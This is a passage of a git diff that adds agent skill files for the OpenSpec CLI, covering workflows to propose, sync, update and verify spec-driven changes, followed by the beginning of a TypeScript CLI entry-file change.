steps +7. **Apply** - Implemented the work +8. **Archive** - Preserved the record + +This same rhythm works for any size change—a small fix or a major feature. + +--- + +## Command Reference + +**Core workflow:** + + | Command | What it does | + |-------------------|--------------------------------------------| + | `/openspec-propose` | Create a change and generate all artifacts | + | `/openspec-explore` | Think through problems before/during work | + | `/openspec-apply-change` | Implement tasks from a change | + | `/openspec-archive-change` | Archive a completed change | + +**Additional commands** (only if installed - availability depends on your profile): + + | Command | What it does | + |--------------------|----------------------------------------------------------| + | `/openspec-new-change` | Start a new change, step through artifacts one at a time | + | `/openspec-continue-change` | Continue working on an existing change | + | `/openspec-ff-change` | Fast-forward: create all artifacts at once | + | `/openspec-verify-change` | Verify implementation matches artifacts | + +--- + +## What's Next? + +Try `/openspec-propose` on something you actually want to build. You've got the rhythm now! +``` + +--- + +## Graceful Exit Handling + +### User wants to stop mid-way + +If the user says they need to stop, want to pause, or seem disengaged: + +``` +No problem! Your change is saved at the `changeRoot` reported by `openspec status --change "<name>" --json`. + +To pick up where we left off later: +- `/openspec-continue-change <name>` - Resume artifact creation (if installed; otherwise `openspec status --change "<name>" --json` shows the next artifact) +- `/openspec-apply-change <name>` - Jump to implementation (if tasks exist) + +The work won't be lost. Come back whenever you're ready. +``` + +Exit gracefully without pressure. + +### User just wants command reference + +If the user says they just want to see the commands or skip the tutorial: + +``` +## OpenSpec Quick Reference + +**Core workflow:** + + | Command | What it does | + |--------------------------|--------------------------------------------| + | `/openspec-propose <name>` | Create a change and generate all artifacts | + | `/openspec-explore` | Think through problems (no code changes) | + | `/openspec-apply-change <name>` | Implement tasks | + | `/openspec-archive-change <name>` | Archive when done | + +**Additional commands** (only if installed - availability depends on your profile): + + | Command | What it does | + |---------------------------|-------------------------------------| + | `/openspec-new-change <name>` | Start a new change, step by step | + | `/openspec-continue-change <name>` | Continue an existing change | + | `/openspec-ff-change <name>` | Fast-forward: all artifacts at once | + | `/openspec-verify-change <name>` | Verify implementation | + +Try `/openspec-propose` to start your first change. +``` + +Exit gracefully. + +--- + +## Guardrails + +- **Follow the EXPLAIN → DO → SHOW → PAUSE pattern** at key transitions (after explore, after proposal draft, after tasks, after archive) +- **Keep narration light** during implementation—teach without lecturing +- **Don't skip phases** even if the change is small—the goal is teaching the workflow +- **Pause for acknowledgment** at marked points, but don't over-pause +- **Handle exits gracefully**—never pressure the user to continue +- **Use real codebase tasks**—don't simulate or use fake examples +- **Adjust scope gently**—guide toward smaller tasks but respect user choice diff --git a/skills/openspec-propose/SKILL.md b/skills/openspec-propose/SKILL.md new file mode 100644 index 0000000000..0f4ec8a0c5 --- /dev/null +++ b/skills/openspec-propose/SKILL.md @@ -0,0 +1,148 @@ +--- +name: openspec-propose +description: Propose a new change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Propose a new change - create the change and generate all artifacts in one step. + +**Planning boundary**: This workflow creates planning artifacts only. The user request that selected or triggered this workflow authorizes planning only, even if it asks to build or fix something. Do not edit project code. After the planning artifacts are complete, stop. Do not start implementation in the same response, even if the initial request asks for it. Wait for a new user request after the artifacts are presented; then start the apply workflow. + +I'll create a change with the artifacts your schema defines. With the default spec-driven schema that is: +- proposal.md (what & why) +- `specs/<capability-path>/spec.md` (what the system must do - a delta, not the main spec) +- design.md (how) +- tasks.md (implementation steps) + +`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve an existing capability's full path and follow the project's established organization for new capabilities. + +When the user is ready to implement, they must start the apply workflow explicitly. + +--- + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build. + +**Steps** + +1. **Understand the request and clarify material ambiguity** + + If no clear input is provided, ask the user (open-ended, no preset options): + > "What change do you want to work on? Describe what you want to build or fix." + + From their description, derive a kebab-case name (e.g., "add user authentication" → `add-user-auth`). + + **IMPORTANT**: Do NOT proceed without understanding what the user wants to build. + + If the request contains ambiguity that would materially affect scope, externally observable behavior, compatibility, or acceptance criteria, ask the user before creating the change. For minor details, make a reasonable assumption and record it in the planning artifacts. + +2. **Determine the workflow schema** + + Use the configured default schema unless the user explicitly requests a different workflow. + + **Use a different schema only if the user:** + - Explicitly requests a specific schema by name → use `--schema <schema-name>` + - Asks to "show workflows" or asks "what workflows" exist → resolve the authoritative root by running `openspec context --json` from the current working directory. If the user explicitly selected a registered store, use `openspec context --json --store "<store-id>"`. Then run `openspec schemas --json` with its working directory set to the returned `root.path` and let them choose. This preserves roots selected by a local `store:` pointer or the global `defaultStore`; `schemas` does not accept `--store`. If context reports only `no_openspec_root`, run `openspec schemas --json` from the current working directory instead. Do not use this fallback for invalid or unavailable stores. + + Otherwise, omit `--schema` to preserve the configured default. + +3. **Create the change directory** + + Choose one schema form below. If a registered store is selected, append `--store "<store-id>"` to that command and each later OpenSpec command shown below that accepts `--store`. + + Using the configured default: + ```bash + openspec new change "<name>" + ``` + + Using an explicitly requested schema: + ```bash + openspec new change "<name>" --schema "<schema-name>" + ``` + This creates a scaffolded change in the planning home resolved by the CLI with `.openspec.yaml`. + +4. **Get the artifact build order** + ```bash + openspec status --change "<name>" --json + ``` + Parse the JSON to get: + - `applyRequires`: array of artifact IDs needed before implementation (e.g., `["tasks"]`) + - `artifacts`: list of all artifacts, each with its `status` and its `requires` edges (the artifact IDs it directly depends on) + - `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context. Use these instead of assuming repo-local paths. + +5. **Create every artifact in the required set** + + Use a todo list to track progress through the artifacts. + + Loop through artifacts in dependency order (artifacts with no pending dependencies first): + + a. **For each artifact that is `ready` (dependencies satisfied)**: + - Get instructions: + ```bash + openspec instructions <artifact-id> --change "<name>" --json + ``` + - The instructions JSON includes: + - `context`: Project background (constraints for you - do NOT include in output) + - `rules`: Artifact-specific rules (constraints for you - do NOT include in output) + - `template`: The structure to use for your output file + - `instruction`: Schema-specific guidance for this artifact type + - `skipped`/`warning`: present when the change declares skip_specs and this artifact must NOT be created - stop and pick another artifact + - `resolvedOutputPath`: Resolved path or pattern to write the artifact + - `dependencies`: Completed artifacts to read for context + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the `instruction` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at `resolvedOutputPath` + - Otherwise create the artifact file using `template` as the structure and write it to `resolvedOutputPath`. If `resolvedOutputPath` is a glob, follow `instruction` to choose the concrete file path + - Apply `context` and `rules` as constraints - but do NOT copy them into the file + - Show brief progress: "Created <artifact-id>" + + b. **Continue until every artifact in the required set exists (not just `apply.requires`)** + - After creating each artifact, re-run `openspec status --change "<name>" --json` + - The required set is `applyRequires` plus every artifact reachable from those by following the `requires` edges in `status --json` - walk them transitively (spec-driven closes over proposal, specs, design, tasks). Leave artifacts outside that set alone + - `status` is file-existence only, so an `applyRequires` artifact reading `done` does NOT mean its dependencies exist - writing `tasks.md` early marks `tasks` done while `specs` was never written. Use each artifact's `requires` edges, not its `status`, to build the required set: a `done` artifact still lists what it depends on + - An artifact already reading `status: "skipped"` is satisfied: the change declares `skip_specs` in `.openspec.yaml`, so its files must NOT exist. Never try to create one + - Create every artifact in the required set that is missing, then re-check - creating one can unblock others + - Skip one only when `status` already reports it `skipped`, or when its own `instruction` says it is conditional: run `openspec instructions <artifact-id> --change "<name>" --json` and skip only if its `instruction` field marks it optional (e.g. "create only if..."). Spec-driven's `design.md` qualifies; `specs` qualifies only via the `skipped` status above, never by your own judgment. Tell the user, and do not reconsider it + - Dependencies are enablers, not gates: if a required artifact is still `blocked` only because you skipped a conditional dependency, write it anyway + - Stop when every artifact in the required set is `done`, `skipped`, or was deliberately skipped + + c. **If an artifact requires user input** (unclear context): + - Ask the user to clarify + - Then continue with creation + +6. **Show final status** + ```bash + openspec status --change "<name>" + ``` + +**Output** + +After completing all artifacts, summarize: +- Change name and location +- List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why +- What's ready: "All artifacts needed for implementation are ready." +- Prompt: "The artifacts are ready for review. When you are ready, run `/openspec-apply-change` or ask me to apply this change." + +**Artifact Creation Guidelines** + +- Follow the `instruction` field from `openspec instructions` for each artifact type - it is the authoritative guidance, even for familiar artifact names +- If the `instruction` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly +- The schema defines what each artifact should contain - follow it +- Read dependency artifacts for context before creating new ones +- Use `template` as the structure for your output file - fill in its sections +- **IMPORTANT**: `context` and `rules` are constraints for YOU, not content for the file + - Do NOT copy `<context>`, `<rules>`, `<project_context>` blocks into the artifact + - These guide what you write, but should never appear in the output + +**Guardrails** +- The request that invoked this workflow authorizes planning only. Any implementation or apply instruction in that request does not carry forward. Do NOT implement the change, start the apply workflow, or edit project code during this workflow. After presenting the artifacts, stop and wait for a new user request to start the apply workflow +- Create every artifact the apply phase transitively depends on, not just the ids listed in `apply.requires` +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) +- Ask about ambiguities that would materially change scope, externally observable behavior, compatibility, or acceptance criteria; for minor details, make reasonable assumptions and record them +- If a change with that name already exists, ask if user wants to continue it or create a new one +- Verify each artifact file exists after writing before proceeding to next diff --git a/skills/openspec-sync-specs/SKILL.md b/skills/openspec-sync-specs/SKILL.md new file mode 100644 index 0000000000..e0a36880a0 --- /dev/null +++ b/skills/openspec-sync-specs/SKILL.md @@ -0,0 +1,261 @@ +--- +name: openspec-sync-specs +description: Sync delta specs from a change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Sync delta specs from a change to main specs. + +This is an **agent-driven** operation - you will read delta specs and directly edit main specs to apply the changes. This allows intelligent merging (e.g., adding a scenario without copying the entire requirement). + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec. + +**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run `openspec list --json` to get available changes and ask the user to select one + + When prompting, show changes that have delta specs (under `specs/` directory). + + Always announce: "Using change: <name>" and how to override (e.g., `/openspec-sync-specs <other>`). + +2. **Resolve change context** + + Run: + ```bash + openspec status --change "<name>" --json + ``` + + The JSON includes `planningHome.root`. Main specs live under `<planningHome.root>/openspec/specs/` — use that (store-aware) root for every main-spec path below, not a hardcoded repo path. When a store is selected it points at the store, not the current repository. + +3. **Find delta specs** + + Use `artifactPaths.specs.existingOutputPaths` from the status JSON as the + only source of delta spec paths. If the `specs` entry is missing or + `existingOutputPaths` is empty, report that there are no delta specs to sync, + do not infer them from other artifacts, and stop without requesting artifact + instructions or writing a main spec. + + Sync every path in `existingOutputPaths` unless the caller narrowed the set. + A caller narrows it by naming an explicit list of complete entries from + `existingOutputPaths` — copy those absolute values verbatim. Archive does + this inline, and a user can too (for example, by selecting the entry ending + in `/specs/billing/invoices/spec.md`). + Then sync only the named paths and leave the remaining delta specs untouched: + bulk archive excludes a delta whose implementation it could not find, and + syncing it anyway would write a main spec the caller deliberately withheld. + Carry that narrowed selection through step 4; never widen it back to the full + list. If a named path is not in `existingOutputPaths`, do not sync it — + report it and stop, rather than dropping it silently. If the named list is + empty, report that there is nothing to sync and stop without writing a main + spec. + + Each delta spec file contains sections like: + - `## ADDED Requirements` - New requirements to add + - `## MODIFIED Requirements` - Changes to existing requirements + - `## REMOVED Requirements` - Requirements to remove + - `## RENAMED Requirements` - Requirements to rename (FROM:/TO: format) + + If no delta specs found, inform user and stop. + +4. **For each delta spec, apply changes to main specs** + + Before the first main-spec write, obtain one current specs-rule snapshot: + - If archive invoked this workflow inline and supplied a valid snapshot from + `openspec instructions specs --change "<name>" --json`, reuse it and do not + fetch the same instructions again. + - Otherwise run that command once now with the same selected-root flags. + - If the direct lookup exits non-zero or returns invalid artifact-instruction + JSON, report the error and stop before writing any main spec. Do not treat the + failure as an absent rule set. + - A valid response with omitted `rules` means no artifact rules are configured + and the existing semantic merge continues. + + Apply returned `rules` only to the content and form of the main specs produced + by this merge. Artifact rules are not operation guidance and cannot change + selected roots, delta paths, CLI checks, or workflow steps. Use their text as + constraints without copying it verbatim into a main spec or summary. + + For each capability delta spec path selected in step 3 — the full `existingOutputPaths` list, or the narrowed subset when a caller supplied one (these may belong to a selected store, not the repo): + + a. **Read the delta spec** to understand the intended changes + + b. **Read the main spec** at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (may not exist yet) + + c. **Apply changes intelligently**: + + **ADDED Requirements:** + - If requirement doesn't exist in main spec → add it + - If requirement already exists → update it to match (treat as implicit MODIFIED) + + **MODIFIED Requirements:** + - Find the requirement in main spec + - Apply the changes - this can be: + - Adding new scenarios the main spec does not have yet + - Modifying existing scenarios + - Changing the requirement description + - Preserve scenarios/content not mentioned in the delta + + **REMOVED Requirements:** + - Remove the entire requirement block from main spec + - Retiring the capability. Delete the whole `spec.md` - and the directory once + nothing else is left in it - only when ALL of these hold: + 1. removing the requirements *this run* left no requirement blocks; + 2. the rest of the spec is well-formed (it still has a `## Purpose`); + 3. the main spec was not already empty before this sync - if you removed + nothing, change nothing; + 4. every other nonblank line in the whole file is accounted for as the + title, Purpose, Requirements header, or a canonical requirement's + statement, scenarios, or fenced examples; + 5. the change's `.openspec.yaml` declares `retire_capabilities: true`; + 6. the `spec.md` resolves inside the real specs root (do not follow a + capability-directory symlink to delete an external file). + If removing the selected requirements would leave no requirement blocks and + any retirement condition is not satisfied, do not modify the main spec. Stop + the sync for that capability, report the blocking condition, and tell the user + how to resolve it. Never write or leave an empty `## Requirements` section. + When only the marker is missing, say that too - it is the one thing the user + can add to make the retirement go through. + - Deleting the file also deletes its `## Purpose`; any other section blocks + retirement. Name Purpose when you report the retirement. Include a pasteable + `git checkout` only when the spec lived in the caller's checkout; + otherwise give checkout-scoped recovery guidance. + + **RENAMED Requirements:** + - Find the FROM requirement, rename to TO + + **`## Purpose` in the delta:** + - The main spec already has one and it is authoritative - leave it alone + (this is what `openspec archive` does; it warns and moves on) + + d. **Create new main spec** if capability doesn't exist yet: + - Create `<planningHome.root>/openspec/specs/<capability-path>/spec.md` + - Add Purpose section: copy the delta's `## Purpose` body verbatim when it has one + (this is what `openspec archive` does); only write a brief TBD placeholder when it does not + - Add Requirements section with the ADDED requirements + - Follow the **Main Spec Format Reference** below + +5. **Validate updated main specs** + + Run `openspec validate --specs` with the same selected-root flags used earlier. + If validation fails, report the problems and do not claim the sync succeeded. + +6. **Show summary** + + After applying all changes, summarize: + - Which capabilities were updated + - What changes were made (requirements added/modified/removed/renamed) + - Any new main spec left with a TBD Purpose placeholder, so it gets written + now rather than lingering + - Any capability retired, naming the deleted `spec.md`, its Purpose, and + either a pasteable `git checkout` or checkout-scoped recovery guidance + +**Delta Spec Format Reference** + +```markdown +## Purpose + +Only on a delta that introduces a brand-new capability. Seeds the new main spec. + +## ADDED Requirements + +### Requirement: New Feature +The system SHALL do something new. + +#### Scenario: Basic case +- **WHEN** user does X +- **THEN** system does Y + +## MODIFIED Requirements + +### Requirement: Existing Feature +The system SHALL keep doing the existing thing, now also handling A. + +#### Scenario: Scenario the main spec already has +- **WHEN** user does X +- **THEN** system does Y + +#### Scenario: New scenario to add +- **WHEN** user does A +- **THEN** system does B + +## REMOVED Requirements + +### Requirement: Deprecated Feature + +## RENAMED Requirements + +- FROM: `### Requirement: Old Name` +- TO: `### Requirement: New Name` +``` + +**Main Spec Format Reference** + +Main specs are what the delta merges INTO. They must never contain delta operation headers (`## ADDED/MODIFIED/REMOVED/RENAMED Requirements`) - after syncing, every requirement lives under a single `## Requirements` section: + +```markdown +# <capability> Specification + +## Purpose +Short description of what this capability does and why it exists. + +## Requirements + +### Requirement: New Feature +The system SHALL do something new. + +#### Scenario: Basic case +- **WHEN** user does X +- **THEN** system does Y +``` + +**Key Principle: Intelligent Merging** + +Unlike programmatic merging, you merge rather than overwrite: +- A MODIFIED block carries the whole requirement - body plus every scenario that survives the change. `openspec validate` and `openspec archive` both reject one that drops a scenario the main spec still has. +- Keep anything the delta does not mention, in the main spec's existing order +- Use your judgment to merge changes sensibly + +**Output On Success** + +```markdown +## Specs Synced: <change-name> + +Updated main specs: + +**<capability-1>**: +- Added requirement: "New Feature" +- Modified requirement: "Existing Feature" (added 1 scenario) + +**<capability-2>**: +- Created new spec file +- Added requirement: "Another Feature" + +Main specs are now updated. The change remains active - archive when implementation is complete. +``` + +**Guardrails** +- Read both delta and main specs before making changes +- Preserve existing content not mentioned in delta +- Never copy a delta file into a main spec as-is - merge its content so the main spec keeps the Main Spec Format Reference structure, with no delta operation headers +- If something is unclear, ask for clarification +- Show what you're changing as you go +- The operation should be idempotent - running twice should give same result +- Use only `artifactPaths.specs.existingOutputPaths`; never infer delta specs from unrelated artifacts +- Honor a caller-supplied subset of `existingOutputPaths`; never widen it back to the full list +- Fetch specs instructions once for direct sync, or reuse the archive-supplied snapshot inline +- Stop before every main-spec write on a non-zero or invalid JSON specs-instruction response +- Artifact rules constrain only the specs being written and are never copied into output files diff --git a/skills/openspec-update-change/SKILL.md b/skills/openspec-update-change/SKILL.md new file mode 100644 index 0000000000..77d2ed27b3 --- /dev/null +++ b/skills/openspec-update-change/SKILL.md @@ -0,0 +1,90 @@ +--- +name: openspec-update-change +description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Never edits code. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Revise a change's existing planning artifacts and keep them coherent. Never edit code. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +`/openspec-continue-change` is an expanded-profile workflow and may not be installed. Before suggesting it anywhere below, verify that it is available. If it is unavailable, `openspec status --change "<name>" --json` shows the next artifact and `openspec instructions "<artifact-id>" --change "<name>" --json` explains how to create it. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run `openspec list --json` to get available changes sorted by most recently modified, and ask the user to select one + + When prompting, present the top 3-4 most recently modified changes as options, showing: + - Change name + - Schema (from `schema` field if present, otherwise "spec-driven") + - Status (e.g., "0/5 tasks", "complete", "no tasks") + - How recently it was modified (from `lastModified` field) + + Mark the most recently modified change as "(Recommended)" since it's likely what the user wants to update. + + Always announce: "Using change: <name>" and how to override (e.g., `/openspec-update-change <other>`). + +2. **Get the change's artifacts** + ```bash + openspec status --change "<name>" --json + ``` + Parse the JSON to understand current state. The response includes: + - `schemaName`: The workflow schema being used (e.g., "spec-driven") + - `artifacts`: Array of artifacts with their status ("done", "skipped", "ready", "blocked") + - `isPlanningComplete`: Boolean indicating if all planning artifacts are complete. Older CLI versions expose the same value as `isComplete`. + - `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context. Use these instead of assuming repo-local paths. + + The artifact ids and paths come from the active schema - do NOT assume them, and do NOT branch on hardcoded artifact names. Custom schemas must work unchanged. + + The files to edit are `artifactPaths.<id>.existingOutputPaths` - the concrete files that exist on disk, already glob-expanded for glob artifacts (e.g. `specs/**/*.md`). Do NOT write to `resolvedOutputPath`: for a glob artifact it is still the glob pattern, not a real file. + +3. **Understand the request** + - If the user asked for a specific revision ("the design now uses X"), that is the starting edit. + - If they only said "update" / "make this coherent", treat it as a coherence review: read the existing artifacts and check them against each other for contradictions, gaps, and duplication. + +4. **Read and reconcile** + - Read the artifact(s) the request touches and the change's other existing artifacts. + - Apply the requested edit. Then check every other existing artifact against it - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised. + - Note everything that is now inconsistent, missing, or contradictory. + - Revise only files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them. + - If the change is already coherent, say so and make no edits. + +5. **Confirm and apply, one artifact at a time** + - Show each proposed revision and why. Write only after the user confirms. + - If the user rejects a revision, do not write it - leave that artifact unchanged. + - When a substantial rewrite is needed, get that artifact's rules and template first: + ```bash + openspec instructions "<artifact-id>" --change "<name>" --json + ``` + +6. **Point to the next step (guidance only - NEVER act on it)** + - Artifacts still missing -> suggest `/openspec-continue-change` to create them. + - Change already implemented (tasks checked off / already applied) -> the code may no longer match the revised plan; suggest `/openspec-apply-change` to carry the delta into code. + - Everything done and implemented -> suggest `/openspec-archive-change`. + +**Output** + +After each invocation, show: +- Which artifacts were revised (and which proposed revisions were rejected) +- Anything deferred to `/openspec-continue-change` (not-yet-created artifacts or files) +- Where the change stands and the recommended next command + +**Guardrails** +- Planning artifacts only - NEVER edit implementation code. If the revised plan implies code changes, stop and point to `/openspec-apply-change`. +- Use the artifact ids and paths reported by `openspec status`; never branch on hardcoded artifact names. +- Edit only the concrete files in `existingOutputPaths`; never write to a glob `resolvedOutputPath`. +- Do not advance the build frontier: no new artifacts, no new files under glob artifacts - that is `/openspec-continue-change`'s job. +- Confirm every edit with the user before writing. +- If the request changes the change's *intent* rather than refining it, first verify whether the expanded-profile `/openspec-new-change` workflow is available. If it is, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic). If it is unavailable, ask for a distinct unused change name and recommend `openspec new change "<new-change-name>"` instead. diff --git a/skills/openspec-verify-change/SKILL.md b/skills/openspec-verify-change/SKILL.md new file mode 100644 index 0000000000..8e62355d05 --- /dev/null +++ b/skills/openspec-verify-change/SKILL.md @@ -0,0 +1,174 @@ +--- +name: openspec-verify-change +description: Verify implementation matches change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Verify that an implementation matches the change artifacts (specs, tasks, design). + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run `openspec list --json` to get available changes and ask the user to select one + + When prompting, show changes that have implementation tasks (tasks artifact exists). + Include the schema used for each change if available. + Mark changes with incomplete tasks as "(In Progress)". + + Always announce: "Using change: <name>" and how to override (e.g., `/openspec-verify-change <other>`). + +2. **Check status to understand the schema** + ```bash + openspec status --change "<name>" --json + ``` + Parse the JSON to understand: + - `schemaName`: The workflow being used (e.g., "spec-driven") + - `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context + - Which artifacts exist for this change + +3. **Get planning context and load artifacts** + + ```bash + openspec instructions apply --change "<name>" --json + ``` + + This returns the change directory and `contextFiles` (artifact ID -> array of concrete file paths). Read all available artifacts from `contextFiles`. + +4. **Initialize verification report structure** + + Create a report structure with three dimensions: + - **Completeness**: Track tasks and spec coverage + - **Correctness**: Track requirement implementation and scenario coverage + - **Coherence**: Track design adherence and pattern consistency + + Each dimension can have CRITICAL, WARNING, or SUGGESTION issues. + +5. **Verify Completeness** + + **Task Completion**: + - If `contextFiles.tasks` exists, read every file path in it + - Parse checkboxes: `- [ ]` (incomplete) vs `- [x]` (complete) + - Count complete vs total tasks + - If incomplete tasks exist: + - Add CRITICAL issue for each incomplete task + - Recommendation: "Complete task: <description>" or "Mark as done if already implemented" + + **Spec Coverage**: + - If delta specs exist in `contextFiles.specs`: + - Extract all requirements (marked with "### Requirement:") + - For each requirement: + - Search codebase for keywords related to the requirement + - Assess if implementation likely exists + - If requirements appear unimplemented: + - Add CRITICAL issue: "Requirement not found: <requirement name>" + - Recommendation: "Implement requirement X: <description>" + +6. **Verify Correctness** + + **Requirement Implementation Mapping**: + - For each requirement from delta specs: + - Search codebase for implementation evidence + - If found, note file paths and line ranges + - Assess if implementation matches requirement intent + - If divergence detected: + - Add WARNING: "Implementation may diverge from spec: <details>" + - Recommendation: "Review <file>:<lines> against requirement X" + + **Scenario Coverage**: + - For each scenario in delta specs (marked with "#### Scenario:"): + - Check if conditions are handled in code + - Check if tests exist covering the scenario + - If scenario appears uncovered: + - Add WARNING: "Scenario not covered: <scenario name>" + - Recommendation: "Add test or implementation for scenario: <description>" + +7. **Verify Coherence** + + **Design Adherence**: + - If `contextFiles.design` exists: + - Extract key decisions (look for sections like "Decision:", "Approach:", "Architecture:") + - Verify implementation follows those decisions + - If contradiction detected: + - Add WARNING: "Design decision not followed: <decision>" + - Recommendation: "Update implementation or revise design.md to match reality" + - If no design.md: Skip design adherence check, note "No design.md to verify against" + + **Code Pattern Consistency**: + - Review new code for consistency with project patterns + - Check file naming, directory structure, coding style + - If significant deviations found: + - Add SUGGESTION: "Code pattern deviation: <details>" + - Recommendation: "Consider following project pattern: <example>" + +8. **Generate Verification Report** + + **Summary Scorecard**: + ```markdown + ## Verification Report: <change-name> + + ### Summary + | Dimension | Status | + |--------------|------------------| + | Completeness | X/Y tasks, N reqs| + | Correctness | M/N reqs covered | + | Coherence | Followed/Issues | + ``` + + **Issues by Priority**: + + 1. **CRITICAL** (Must fix before archive): + - Incomplete tasks + - Missing requirement implementations + - Each with specific, actionable recommendation + + 2. **WARNING** (Should fix): + - Spec/design divergences + - Missing scenario coverage + - Each with specific recommendation + + 3. **SUGGESTION** (Nice to fix): + - Pattern inconsistencies + - Minor improvements + - Each with specific recommendation + + **Final Assessment**: + - If CRITICAL issues: "X critical issue(s) found. Fix before archiving." + - If only warnings: "No critical issues. Y warning(s) to consider. Ready for archive (with noted improvements)." + - If all clear: "All checks passed. Ready for archive." + +**Verification Heuristics** + +- **Completeness**: Focus on objective checklist items (checkboxes, requirements list) +- **Correctness**: Use keyword search, file path analysis, reasonable inference - don't require perfect certainty +- **Coherence**: Look for glaring inconsistencies, don't nitpick style +- **False Positives**: When uncertain, prefer SUGGESTION over WARNING, WARNING over CRITICAL +- **Actionability**: Every issue must have a specific recommendation with file/line references where applicable + +**Graceful Degradation** + +- If only tasks.md exists: verify task completion only, skip spec/design checks +- If tasks + specs exist: verify completeness and correctness, skip design +- If full artifacts: verify all three dimensions +- Always note which checks were skipped and why + +**Output Format** + +Use clear markdown with: +- Table for summary scorecard +- Grouped lists for issues (CRITICAL/WARNING/SUGGESTION) +- Code references in format: `file.ts:123` +- Specific, actionable recommendations +- No vague suggestions like "consider reviewing" diff --git a/src/cli/index.ts b/src/cli/index.ts index 8947736f7c..619f958ecc 100644 --- a/src/cli/index.ts +++ b/src/cli/index.ts @@ -1,13 +1,26 @@ -import { Command } from 'commander'; +import { asStatus } from '../commands/shared-output.js'; +import { Command, Option } from 'commander'; import { createRequire } from 'module'; import ora from 'ora'; import path from 'path'; +import { fileURLToPath } from 'url'; import { promises as fs } from 'fs'; -import { AI_TOOLS } from '../core/config.js'; +import { AI_TOOLS, TOOL_ID_ALIASES } from '../core/config.js'; import { UpdateCommand } from '../core/update.js'; +import { + getAvailableCliUpdate, + displayCliUpdateNote, + shouldOfferUpgrade, + getInstallDir, + 